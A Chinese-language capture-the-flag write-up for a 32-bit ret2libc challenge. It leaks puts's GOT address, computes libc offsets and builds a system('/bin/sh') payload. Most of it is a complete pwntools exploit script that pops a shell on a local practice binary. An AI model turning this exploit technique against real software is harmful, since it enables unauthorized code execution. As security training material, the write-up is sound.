两次输入,第一次输入一个地址,然后程序打印出地址的内容,这可以想到将puts_got地址输入就可以拿到puts函数的真实,先checksec一波
image.png一道简单的ret2libc,那么接下来思路很简单,第一次输入给puts_got地址,拿到puts函数的真实地址,再得到puts函数的libc地址就可以算出偏移,之后 就可以为所欲为的得到其它函数的真实地址了;先找一下库文件:
image.png接下来解决两个小问题:
1、查找 字符串"\bin\sh"
2、爆出第二次输入的偏移
字符串的查找可以用pwntoolsbinsh_libc = libc.search('/bin/sh').next()
偏移的获得用cyclic 参数
生成一串字符之后 ,在gdb中输入得到一个地址,再用cyclic -l 地址
即可得到到ret的偏移:
exp:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got) #134520860
pause()
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
print "puts_addr:" + hex(puts_addr)
puts_libc = libc.symbols['puts']
print "puts_libc:" + hex(puts_libc)
system_libc = libc.symbols['system']
print "system_libc:" + hex(system_libc)
binsh_libc = libc.search('/bin/sh').next() 查找 "/bin/sh" 的地址
print "binsh_libc:" + hex(binsh_libc)
offset = puts_addr - puts_libc #偏移
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
# main = 0x804857D
ret= 0xdeadbeef #返回地址随意
payload = "A" * 60
payload += p32(system_addr) + p32(ret) + p32(binsh_addr)
# payload += p32(system_addr) + 'b' * 4 + p32(binsh_addr)
# gdb.attach(p,"b *0x0804862F")
# pause()
p.sendline(payload)
p.interactive()
网友评论